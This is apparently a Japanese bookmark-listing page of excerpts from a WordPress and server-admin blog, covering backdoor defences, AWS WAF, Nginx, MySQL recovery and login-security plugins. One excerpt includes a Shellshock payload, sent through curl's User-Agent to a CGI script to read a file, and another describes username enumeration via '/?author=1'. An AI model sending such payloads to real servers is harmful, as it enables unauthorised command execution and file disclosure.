サクサク読めて、アプリ限定の機能も多数!
トップへ戻る
ブラックフライデー
dogmap.jp
いくら気をつけていても、不幸にして WordPress にバックドアを仕掛けられることは往々にしてあるものです。 重要なのは日々のアップデートと監視なのですが、間に合わずにやられちゃってバックドア仕掛けられることもあるでしょう。 先日リリースされた WordPress 4.5.2 でも結構重めの XSS 脆弱性の報告と修正が行われましたね。 WordPress 4.5.2 セキュリティリリース そんなわけで、ひさ~しぶりのブログはバックドア仕掛けられないようにする防衛策とソースが改変された時の対応策です。 バックドアを仕掛けられる前の防衛策 不要な php ファイルにアクセスさせない WordPress のバックドア仕掛けてくるやつの手順として多いのが、メディアアップロード機能の脆弱性とかを利用して wp-conten/uploads/ 以下に php ファイルを置いていき、そのファイルに
本番環境で CloudFront を使用しているため、ステージング環境でも CloudFront を適用したいとかって要望は多々あると思います。 ただ、ステージング環境なんで全体に公開はしたくない、IPアドレス制限とかかけたいってなりますよね。 そんな時、今までは署名付きURLとか署名付き Cookie とかで対応せざるを得ませんでした。 参考URL CloudFront を使用してプライベートコンテンツを供給する AWS CloudFrontでプライベートコンテンツを配信 – Qiita CloudFront+S3で署名付きURLでプライベートコンテンツを配信する | Developers.IO … 結構、めんどくさい。 そんな、僕達のために re:Invent 2015 に合わせるように発表された新サービス AWS WAF という救世主が現れましたよ。 この記事では AWS WAF を
WordPress のメディアファイルを自動でバックアップしたり、CloudFront のオリジンにするために wp-content/uploads/ の中身を S3 にアップロードするようにしたいなぁとか言う要望が結構あります。 特に AutoScaling 構成にする場合は、ソースファイルについては git リポジトリなどで管理すればいいですが、ダッシュボードからアップロードされるメディアファイルについては git リポジトリに含めるわけに行かないっすよね。 そんな時、僕の作ったプラグイン絡新婦とか、Amazon S3 for WordPress with CloudFrontとか使うわけですが、なんと 4.3.x 系ではちゃんと動かないような気がするんです… まぁ、僕が絡新婦をメンテナンスすればいいのですが、最近 php プログラム書くの辛いので代替手段として lsyncd でファイ
先日、参加してきた WordCamp San Francisco 2014 でも話題になってた WP JSON REST API に独自の endpoint を追加する方法です。 # WordCamp San Francisco とか WordCamp Kansai とかのイベントにも参加してるんですけど、ブログ書いてない…すいません まず WP REST API とは、なんぞやって話ですが… これは、WordPress Ver.4.1 もしくはそれ以降のバージョンで本体に組み込まれる予定の機能です。 現在はプラグインとして提供されていますので、これをインストールすることで利用できるようになります。 WordPress › JSON REST API (WP API) « WordPress Plugins この API を使うことで、WordPress に関するありとあらゆる操作が RE
タイトルはパクリ 元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社 sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。 # テストスクリプトは削除済みです。 test.php test.sh #!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash" 結果 : Apache CGI版 PHP $ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokam
CPUクレジット残高については、Cloud Watch で確認することができます。 「CPU Credit Usage (使用量)」「CPU Credit Balance (残高)」という項目が追加されているので、そちらを参照してください。 2014-7-18 追記 Amazon MarketPlace からも HVM 版の網元AMIが利用できるようになりました。 WordPress powered by AMIMOTO (HVM) t1.micro などの m1 インスタンスなどの HVM に対応していないインスタンスタイプはご利用になれません。 そちらが必要な場合は、従来の PVM 版をご利用ください。 さて、そんでは実際に1日 dogmap.jp を動かしてみて CPU 負荷がどれくらいだったのかを見てみましょう。 上のグラフは 7/3の0:00 – 7/4の0:00までのCPU使用
実は、今夏にSBクリエイティブさんから発売される予定の「WordPress Plugin 本(タイトル仮)」を宮さん、西川さん、三好さん達と書いてました。 宮さんはすでにリーク済みですね。 管理画面におけるエラーメッセージの表示 | firegoby 僕が担当したのは、17章目の「プラグインクックブック」がメインになります。 ここでは WordPress プラグイン作成時に使ってるコードをサンプルコードとして提示して、それを説明するって感じで書いてます。 編集の人にも「一部公開しても良いよー」って言われたので、一部を公開しますね。 こんな感じで書いてます。 他サイトとの連携に関するレシピ RSS フィードを拡張して JSON を返せるようにする <?php add_action("init", "add_feed_json"); function add_feed_json() { add
オープンソースの Git リポジトリ管理システム GitLab を Amazon Linux にインストールしたので、手順をメモ。 といっても、ほとんど以下の URL を参考にしたので、ここではインストール時に引っかかった注意点など Amazon Linux 2013.09 に GitLab6.1 をインストール – OTメモ帳 ところで digitalcube って会社では、様々なプロダクトがインストール済みの AMI を AWS Marketplace で公開してるんだけど、ここでも GitLab が公開されてるから、インストールが面倒な人はそこから起動した方が良いと思うよ(ステマ)。 AWS Marketplace: Search Results GitLab も、今日公開されたし – GitLab on AWS Marketplace Marketplace 版の GitLab は
しょっちゅう必要になるので、メモ書き程度に 参考にしたのは、以下の URL です。 Apache Webサイトのメンテナンス中画面を出す正しい作法と.htaccessの書き方 | Web担当者Forum Nginx nginx: Create HTTP 503 Maintenance Custom Page nginxで特定ホスト以外からのアクセスをメンテナンス画面にする方法 (2) – (ひ)メモ Nginxでrestart, reloadをすることなくメンテナンス画面に切り替える – Qiita 前提としてメンテナンス中画面として表示する際に使用する html は以下のファイルを使うものとします。 maintenance.html style.css /img/corp_logo.png また、以下の IP アドレスからのアクセスは管理者からなのでメンテナンス中画面を表示しないものとし
MySQL で作業してるときにうっかりオペミスしてしまったときの対処方法。 作業前にダンプ取ってて、作業終了後すぐにオペミスに気づいた場合は、そのダンプから戻せば良いですが、ダンプ取ったのが結構前だったとか、オペミスに気づいたのが時間をおいてからだったとかって時の復旧方法です。 前提条件として、以下の状況だった場合のみです。バイナリログを取ってない場合はあきらめましょう。 バイナリログを取っている( /etc/my.cnf で log-bin=mysql-bin とか設定してある ) mysqldump 等でバックアップしている バックアップ時点でのバイナリログの書き込み位置を保存している。またはバックアップした日時が特定できる 参考 : unoh.github.com by unoh バイナリログの残し方 /etc/my.cnf に以下を追記しておくと に datadir で指定しておい
動画ファイルの配信だけ Web サーバ本体では無くて、別のサーバから配信したいけど WordPress とかいじりたくなかったので Nginx だけいじって対応しましたよってお話です。 いわゆるオレオレCDN( Nginxを使ったオレオレCDNの構築 )ですな。 構成的には上図のようになります。 要望的には html とか css, js, なんかは web サーバから配信したいんだけど、ネットワーク帯域を消費しまくる動画ファイル ( mp4, webm, ogv, flv… ) だけは別サーバで配信したい。 素早く対応したいから WordPress のプラグインとか作らないで、Nginx の設定だけで済ませたいって感じです。 どうやって実現したかというと… Web サーバは www.example.com、コンテンツ配信サーバは DNS ラウンドロビンで振り分けられた 192.168.0
気がついたら 1, 2 月はブログ書いてませんでした。 Amazon Linux 上の suexec のホームディレクトリを変更したくて rpm のソース取ってこようとしたんだけど yumdownloader でソースを取って来ることができなかったんで、自分用のメモ。 Amazon Linux で rpm のソースを取ってくるには yumdownloader ではなくて get_reference_source コマンドを使うんですってよ奥さん。 参考: SIOS "OSSよろず" ブログ出張所: ソースの入手と再ビルド ~ Amazon Linux AMI (EC2) 編 注意: 上記 URL だと --aws-account-id=XXXX-XXXX-XXXX っていうパラメータが必要って書いてあるけど、いまは要らないようです。 以下、手順 rpmbuild 使える環境にします。 $
WordPress Advent Calendar 2013 全部オレ 20日目のできる限り俺です。 WordPress を運用するサーバでは、Nginx や Aapche などの Web サーバ、MySQL、fastcgi を使っているのならば php-fpm などのプロセスが稼働しています。 夜中だとか旅行中にこれらのプロセスが落ちてしまうとサイトに繋がらなくなってしまうこともあります。 そういった障害を検知し、復旧するための様々な障害検知を行うツールが存在するのですが、今回は Monit の紹介をしようと思います。 これはプロセスを監視して異常を検知したらメールを出したり、自動的に再起動したりしてくれる便利なツールです。 何はともあれインストール Amazon Linux や RHEL 系の OS を使っているなら yum でインストールしましょう。 $ sudo yum insta
WordPress の管理画面を IP アドレスで制限することは Brute Force Attack に対して有効です。 たとえば Nginx を使っている場合、以下のような設定で許可された IP アドレス以外からのログインを拒否することができます。 server { location /wp-admin { allow 192.168.0.1; deny all; : } location = /wp-admin/admin-ajax.php { allow all; : } location = /wp-login.php { allow 192.168.0.1; deny all; : } } また、IP アドレスによるログイン制限を行うプラグインもいくつかあるようです。 ただし、これらの方法だとリバースプロキシ配下のサーバの場合、期待した動作になりません。 # リバースプロキシサ
WordPress で DB サーバを分散処理したいとか思ったことありませんか? 以前、MariaDB Galera Cluster を使って DB サーバをクラスター構成にする方法を解説しました。 しかし、ここではもっと簡単に MySQL のマスター/スレーブ構成によるレプリケーション機能を使って読み込み先と書き込み先の DB を分ける手法について解説します。 Amazon RDS のリードレプリカ機能を使えば、WordPress のプラグイン(正確にはドロップイン)を設置して、ちょっと設定するだけですが、ここでは一応 MySQL でマスター/スレーブ構成のレプリケーションする方法についても解説します。 構成は、上のアイキャッチのような感じです。 MySQL でマスター/スレーブ構成のレプリケーション この構成によるメリットは スレーブサーバによるリアルタイムでのデータのバックアップ マ
Vagrant 流行ってますね。 ローカル環境での WordPress の開発でも使用できるので、どんどん使用しましょう。 WordPress のローカル環境で Vagrant を使うのであれば 10up 社が提供してくれている Varying Vagrant Vagrants (VVV) を利用するのが便利です。 インストールするには、以下の URL を参考にすれば良いんですが、ついでなんでやりかた書いておきます。 10up/varying-vagrant-vagrants 前提として git が使用できるようになってないと何もできません。 Mac 環境であれば Xcode 入れて、Homebrew 入れて brew install git して git をインストールしておきましょう。 インストール方法は、そこら中に書いてあるので、ここでは割愛します。 Xcode インストールしただけ
「「Google Maps Anywhere」から「Simple Map」へ移行」への1件のフィードバック 丁度移行する必要がある機会があったので、参考とさせていただきました。 functions.phpへフィルタを追記すればDBの変更なしでも変換できそうではあります(未検証ですが) function googlemap_to_map($text) { if ( preg_match("/\[googlemap/",$text) ){ $text = preg_replace("/\[googlemap/", '[map', $text); $text = preg_replace("/\[\/googlemap\]/", '[/map]', $text); } return $text; } add_filter('the_content', 'googlemap_to_map', 1)
WordPress 3.6.1 が出たので、記念に wp-cli の紹介。(なんの記念だ) wp-cli は、WordPress への各種の操作(本体のインストール・アップデートから plugin、theme のインストール・アップデートまで、すべてのことが!)をコマンドラインから行えるようにするツールです。 # curl https://raw.github.com/wp-cli/wp-cli.github.com/master/installer.sh | bash これだけで ~/.wp-cli/bin/wp というコマンドが使えるようになります。 wp-cli が正常にインストールできたか確認するには、以下のコマンドで確認できます。 # ~/.wp-cli/bin/wp --info PHP binary: /usr/bin/php PHP version: 5.4.19 php.
タイトルで言い切ってますが… WordPress のフィードで表示件数をダッシュボードで入力された値では無く、他の値に変更しようとしてハマったのでシェア。 通常 WordPress で表示件数を変更する場合は、pre_get_posts アクションフックを使って以下のように posts_per_page オプションを指定してやります。 codex にも書いてあるので、これで安心のはずです。 <?php function my_pre_get_posts( $query ) { if ( is_admin() || ! $query->is_main_query() ) return; if ( is_home() ) { // Display only 1 post for the original blog archive $query->set( 'posts_per_page', 1
WordPress で、メールまたは SMS でワンタイムパスワードを発行して二段階認証ができるようにするプラグイン「魍魎」を公開しました。 「絡新婦」「狂骨」に続く、日本の妖怪シリーズ第三弾です。 現在、公式プラグインディレクトリに申請中ですので、気になる方は github のリポジトリから取得してください。 https://github.com/wokamoto/spirits-and-goblins 追記: 2013-06-24 WordPress 公式プラグインディレクトリでも公開しました。 Spirits and Goblins インストールして有効化すると、通常のログイン後にユーザのメールアドレス宛に送信されたワンタイムパスワードを入力しないとダッシュボードに入れなくなります。 送信オプションとしてはメールと SMS (ショートメッセージ) が選択できます。 「ショートメッセー
ログイン履歴を保存できるプラグイン「狂骨」をインストールした知人から、こんな話がありました。 「管理者アカウントを admin 以外にしていて、author リンクとかはサイトに一切表示していないのにそのアカウントへのアタックが観測されるんだけど…」 原因が良くわからなかったのですが WordCamp Kobe 2013 の懇親会での LT で謎が解けました。 要約すると… 「WordPress では /?author={user_id} にアクセスすることで、著者アーカイブにリダイレクトされる。 その URL からログインユーザ名を取得することが可能。 通常最初に追加されるユーザのユーザ ID は 1 なので、攻撃者は /?author=1 に対してリクエストしてくる。」 ってことです。 そんなわけで、気持ち悪い人は以下のようなプラグインを使用して著者アーカイブのスラッグ自体を変更してあ
実は WordPress サイトを静的 HTML に変換するプラグイン StaticPress をリリースしていました。 ダウンロードは、WordPress 公式プラグインディレクトリからお願いします。 WordPress › StaticPress « WordPress Plugins このプラグインを使用することで WordPress で作成されたサイトを丸ごと静的ファイルに変換することができます。 また、変換時にサイトのパーマリンク構造を変換することができるため、http://wp.example.com/ というオリジナルサイトを http://www.example.com/static/ というサイトとして公開するための html を作成することも可能です。 完全に静的ファイルを作成するため、コメントやサイト内検索・コンタクトフォームの設置などはできません。 それらについては
先般リリースした WordPress プラグイン「Crazy Bone (狂骨)」で、ブルートフォースアタックのログを見て、もろもろ設定変更したので、メモ代わりに。 特徴として、非常に多くの IP アドレスからのアタックがあるため、ブラックリストでの IP アドレス制限は現実的ではありません。 IP アドレス制限を行うなら、ホワイトリストでの制限をかけないとですが、それをやると出先でブログを書こうとかするとメンドくさいです。 そこで、以下の対策を行いました。 狙われやすいアカウント名でのログイン試行は、WordPress 読み込み前に拒否 ユーザーエージェントでの wp-login.php へのアクセス制限 狙われやすいアカウントへのアクセスを拒否する Login LockDown プラグインとか使って、ログイン失敗時に特定 IP アドレスからのアクセスを拒絶しても良いんですが、これだと結
WordPress へのログイン履歴を保存するプラグイン「Crazy Bone(狂骨)」に諸々機能追加した Ver.0.4.0 をリリースしました。 WordPress › Crazy Bone « WordPress Plugins 追加した機能は、以下の通り ログイン中の IP アドレスとは違う IP アドレスからログインされた場合に警告メッセージを表示 (Ver.0.2.0 より) 指定した日より以前のログを消去する機能を追加 (Ver.0.3.0 より) エラー時に入力されたユーザーアカウント/パスワードを表示 (Ver.0.4.0 より) ログイン回数等のサマリー情報を表示するページを追加 (Ver.0.4.0 より) 詳細は、以下の通りです。 ログイン中の IP アドレスとは違う IP アドレスからログインされた場合に警告メッセージを表示 ログイン中に他の IP アドレスからロ
WordPress へのログイン履歴を保存するプラグイン「Crazy Bone(狂骨)」を公開しました。 「絡新婦」に続く、日本の妖怪シリーズ第二弾です。 インストールは下記 URL からお願いします。 http://wordpress.org/extend/plugins/crazy-bone/ @msng が、早速ブログで書いてくれてますがブルートフォースアタックの履歴を見れたりして面白いですよ。 WordPressへの不正アクセスログを記録して見せてくれるプラグイン Crazy Bone – 頭ん中 バナー画像、絶賛募集中です。作ってくれる奇特な方が居たら 772 x 250 の PNG 形式でおねしゃす。 この記事のコメント欄か twitter で @wokamoto まで、ご連絡ください! 絡新婦のバナー画像みたいにして、狂骨の絵をあしらっていただけると嬉しいです。 # 絡新婦の
先月辺りから、クラウド上へアプリケーションをデプロイできる PaaS Engine Yard で PHP が使えるようになってます。 Engine Yard では、無料トライアルでも 500 時間使えるので安心ですね。 そんなイケテル PaaS Engine Yard に WordPress をデプロイしたとかの情報があまり見つけられなかったので、ここに書いておきますね。 # Drupal をデプロイする方法は、Engine Yard の安藤さんが書いてくれてます。 # Engine Yard Cloud上のPHPにDrupalをデプロイ – Engine Yard Blog JP | Engine Yard Blog JP git さえ使えれば、簡単に Web アプリケーションを Engine Yard 上にデプロイできるので楽しいですよ。 ちなみに今回デプロイした WordPress
次のページ
このページを最初にブックマークしてみませんか?
『レストラン Jukebox システム』の新着エントリーを見る
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く